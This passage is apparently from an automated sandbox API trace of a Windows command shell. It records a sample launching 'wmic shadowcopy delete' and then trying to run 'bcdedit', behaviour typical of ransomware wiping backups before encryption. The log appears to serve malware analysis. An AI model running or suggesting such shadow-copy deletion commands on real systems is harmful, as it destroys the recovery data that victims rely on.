_String2="PSModul", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0159.204] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0159.204] GetProcessHeap () returned 0x680000 [0159.204] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x681408) returned 1 [0159.204] GetProcessHeap () returned 0x680000 [0159.204] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xa) returned 0x688350 [0159.204] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1 [0159.204] _get_osfhandle (_FileHandle=1) returned 0x90 [0159.204] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0159.205] _get_osfhandle (_FileHandle=0) returned 0x8c [0159.205] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1 [0159.205] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic shadowcopy delete ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x1cf5c8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic shadowcopy delete ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1cf614 | out: lpCommandLine="wmic shadowcopy delete ", lpProcessInformation=0x1cf614*(hProcess=0xdc, hThread=0xe0, dwProcessId=0x1328, dwThreadId=0x1340)) returned 1 [0165.018] CloseHandle (hObject=0xe0) returned 1 [0165.018] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0165.018] GetProcessHeap () returned 0x680000 [0165.018] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x684da0) returned 1 [0165.018] GetEnvironmentStringsW () returned 0x684da0* [0165.018] GetProcessHeap () returned 0x680000 [0165.018] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb40) returned 0x6883a0 [0165.018] FreeEnvironmentStringsA (penv="=") returned 1 [0165.018] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0 [0212.666] GetExitCodeProcess (in: hProcess=0xdc, lpExitCode=0x1cf5ac | out: lpExitCode=0x1cf5ac*=0x80041014) returned 1 [0212.667] CloseHandle (hObject=0xdc) returned 1 [0212.667] _vsnwprintf (in: _Buffer=0x1cf694, _BufferCount=0x13, _Format="%08X", _ArgList=0x1cf5b4 | out: _Buffer="80041014") returned 8 [0212.667] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1 [0212.667] GetProcessHeap () returned 0x680000 [0212.667] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x6883a0) returned 1 [0212.668] GetEnvironmentStringsW () returned 0x6883a0* [0212.668] GetProcessHeap () returned 0x680000 [0212.668] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb40) returned 0x684bc8 [0212.668] FreeEnvironmentStringsA (penv="=") returned 1 [0212.668] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0212.668] GetProcessHeap () returned 0x680000 [0212.668] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x684bc8) returned 1 [0212.668] GetEnvironmentStringsW () returned 0x6883a0* [0212.668] GetProcessHeap () returned 0x680000 [0212.668] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb40) returned 0x684bc8 [0212.668] FreeEnvironmentStringsA (penv="=") returned 1 [0212.668] GetProcessHeap () returned 0x680000 [0212.668] RtlFreeHeap (HeapHandle=0x680000, Flags=0x0, BaseAddress=0x688350) returned 1 [0212.668] DeleteProcThreadAttributeList (in: lpAttributeList=0x1cf640 | out: lpAttributeList=0x1cf640) [0212.669] ??_V@YAXPAX@Z () returned 0x1 [0212.669] GetConsoleTitleW (in: lpConsoleTitle=0x1cfb40, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0212.939] malloc (_Size=0xffce) returned 0x892718 [0212.939] ??_V@YAXPAX@Z () returned 0x1cf8cc [0212.939] malloc (_Size=0xffce) returned 0x8a26f0 [0212.940] ??_V@YAXPAX@Z () returned 0x1cf684 [0212.943] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0212.943] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0212.943] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0212.943] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0212.943] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0212.943] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0212.943] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0212.943] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0212.944] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0212.944] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0212.944] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0212.944] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0212.944] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0212.944] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0212.944] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0212.944] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0212.944] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0212.944] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0212.944] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0212.945] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0212.949] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0212.949] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0212.949] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0212.949] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0212.949] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0212.949] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0212.949] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0212.953] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0212.953] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0212.953] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0212.953] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0212.953] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0212.953] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0212.953] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0212.953] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0212.953] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0212.953] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0212.953] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0212.953] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0212.953] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0212.953] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0212.957] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0212.957] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0212.957] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0212.957] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0212.957] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0212.957] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0212.957] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0212.957] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0212.957] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0212.957] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0212.957] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0212.957] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0212.957] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0212.957] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0212.957] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0212.957] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0212.957] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0212.957] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0212.957] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0212.957] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0212.957] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0212.957] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0212.958] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0212.958] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0212.958] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0212.958] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0212.958] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0212.958] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0212.958] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0212.958] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0212.958] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0212.958] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0212.958] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0212.958] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0212.958] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0212.958] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0212.958] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0212.958] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0212.958] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0212.958] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0212.958] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0212.958] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0212.958] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0212.958] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0212.958] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0212.958] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0212.958] ??_V@YAXPAX@Z () returned 0x1 [0212.958] GetProcessHeap () returned 0x680000 [0212.958] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xffd6) returned 0x6a9ae0 [0212.959] GetProcessHeap () returned 0x680000 [0212.959] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x80) returned 0x681408 [0212.959] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0212.959] malloc (_Size=0xffce) returned 0x8a26f0 [0212.959] ??_V@YAXPAX@Z () returned 0x1cf404 [0212.959] GetProcessHeap () returned 0x680000 [0212.959] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1ffa4) returned 0x6b9ac0 [0212.960] SetErrorMode (uMode=0x0) returned 0x0 [0212.960] SetErrorMode (uMode=0x1) returned 0x0 [0212.960] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x6b9ac8, lpFilePart=0x1cf424 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x1cf424*="Desktop") returned 0x17 [0212.960] SetErrorMode (uMode=0x0) returned 0x1 [0212.960] GetProcessHeap () returned 0x680000 [0212.960] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6b9ac0, Size=0x48) returned 0x6b9ac0 [0212.960] GetProcessHeap () returned 0x680000 [0212.960] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x6b9ac0) returned 0x48 [0212.960] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0212.960] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0212.961] GetProcessHeap () returned 0x680000 [0212.961] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1b4) returned 0x685710 [0212.961] GetProcessHeap () returned 0x680000 [0212.961] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x360) returned 0x685aa8 [0212.961] GetProcessHeap () returned 0x680000 [0212.961] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x685aa8, Size=0x1b6) returned 0x685aa8 [0212.961] GetProcessHeap () returned 0x680000 [0212.961] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x685aa8) returned 0x1b6 [0212.961] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0212.961] GetProcessHeap () returned 0x680000 [0212.961] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe0) returned 0x681490 [0212.961] GetProcessHeap () returned 0x680000 [0212.961] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x681490, Size=0x76) returned 0x681490 [0212.961] GetProcessHeap () returned 0x680000 [0212.961] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x681490) returned 0x76 [0212.961] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0212.961] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf1b0) returned 0xffffffff [0212.961] GetLastError () returned 0x2 [0212.961] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0212.962] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf1b0) returned 0xffffffff [0212.962] GetLastError () returned 0x2 [0212.962] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0212.962] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf1b0) returned 0xffffffff [0212.962] GetLastError () returned 0x2 [0212.962] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0212.962] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf1b0) returned 0xffffffff [0212.962] GetLastError () returned 0x2 [0212.962] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0212.963] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf1b0) returned 0xffffffff [0212.963] GetLastError () returned 0x2 [0212.963] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0212.963] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf1b0) returned 0xffffffff [0212.963] GetLastError () returned 0x2 [0212.963] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0212.963] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf1b0) returned 0xffffffff [0212.963] GetLastError () returned 0x2 [0212.963] ??_V@YAXPAX@Z () returned 0x1 [0212.963] _get_osfhandle (_FileHandle=2) returned 0x94 [0212.963] GetFileType (hFile=0x94) returned 0x2 [0212.964] GetStdHandle (nStdHandle=0xfffffff4) returned 0x94 [0212.964] GetConsoleMode (in: hConsoleHandle=0x94, lpMode=0x1cf5fc | out: lpMode=0x1cf5fc) returned 1 [0213.116] _get_osfhandle (_FileHandle=2) returned 0x94 [0213.116] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x94, lpConsoleScreenBufferInfo=0x1cf64c | out: lpConsoleScreenBufferInfo=0x1cf64c) returned 1 [0213.375] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xaab990, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0213.379] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xaab990, nSize=0x2000, Arguments=0x1cf67c | out: lpBuffer="'bcdedit' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0213.379] WriteConsoleW (in: hConsoleOutput=0x94, lpBuffer=0xaab990*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x1cf630, lpReserved=0x0 | out: lpBuffer=0xaab990*, lpNumberOfCharsWritten=0x1cf630*=0x62) returned 1 [0213.636] ??_V@YAXPAX@Z () returned 0x1 [0213.636] GetConsoleTitleW (in: lpConsoleTitle=0x1cfae0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0213.760] malloc (_Size=0xffce) returned 0x892718 [0213.760] ??_V@YAXPAX@Z () returned 0x1cf86c [0213.760] malloc (_Size=0xffce) returned 0x8a26f0 [0213.760] ??_V@YAXPAX@Z () returned 0x1cf624 [0213.760] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0213.760] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0213.760] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0213.760] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0213.760] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0213.761] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0213.761] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0213.761] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0213.761] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0213.761] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0213.761] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0213.761] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0213.761] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0213.761] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0213.761] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0213.761] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0213.761] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0213.761] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0213.761] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0213.761] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0213.761] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0213.761] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0213.761] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0213.761] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0213.761] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0213.761] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0213.761] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0213.761] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0213.761] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0213.761] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0213.761] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0213.761] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0213.762] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0213.762] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0213.762] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0213.762] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0213.762] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0213.762] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0213.762] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0213.762] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0213.762] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0213.762] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0213.762] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0213.762] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0213.762] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0213.762] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0213.762] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0213.762] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0213.762] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0213.762] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0213.762] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0213.762] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0213.762] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0213.762] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0213.762] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0213.762] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0213.763] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0213.763] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0213.763] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0213.763] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0213.763] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0213.763] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0213.763] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0213.763] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0213.763] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0213.763] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0213.763] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0213.763] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0213.763] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0213.763] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0213.763] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0213.763] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0213.763] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0213.763] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0213.763] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0213.763] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0213.763] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0213.763] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0213.763] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0213.763] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0213.763] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0213.764] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0213.764] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0213.764] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0213.764] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0213.764] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0213.764] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0213.764] ??_V@YAXPAX@Z () returned 0x1 [0213.764] GetProcessHeap () returned 0x680000 [0213.764] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xffd6) returned 0x6b9b10 [0213.764] GetProcessHeap () returned 0x680000 [0213.764] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x60) returned 0x684688 [0213.764] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0213.764] malloc (_Size=0xffce) returned 0x8a26f0 [0213.764] ??_V@YAXPAX@Z () returned 0x1cf3a4 [0213.787] SetErrorMode (uMode=0x0) returned 0x0 [0213.788] SetErrorMode (uMode=0x1) returned 0x0 [0213.788] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x6c9af8, lpFilePart=0x1cf3c4 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x1cf3c4*="Desktop") returned 0x17 [0213.788] SetErrorMode (uMode=0x0) returned 0x1 [0213.788] GetProcessHeap () returned 0x680000 [0213.788] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6c9af0, Size=0x48) returned 0x6c9af0 [0213.788] GetProcessHeap () returned 0x680000 [0213.788] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x6c9af0) returned 0x48 [0213.788] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0213.788] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0213.788] GetProcessHeap () returned 0x680000 [0213.788] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1b4) returned 0x686170 [0213.788] GetProcessHeap () returned 0x680000 [0213.788] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x360) returned 0x686e28 [0213.788] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x686e28, Size=0x1b6) returned 0x686e28 [0213.788] GetProcessHeap () returned 0x680000 [0213.788] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x686e28) returned 0x1b6 [0213.788] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0213.788] GetProcessHeap () returned 0x680000 [0213.788] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe0) returned 0x686fe8 [0213.788] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x686fe8, 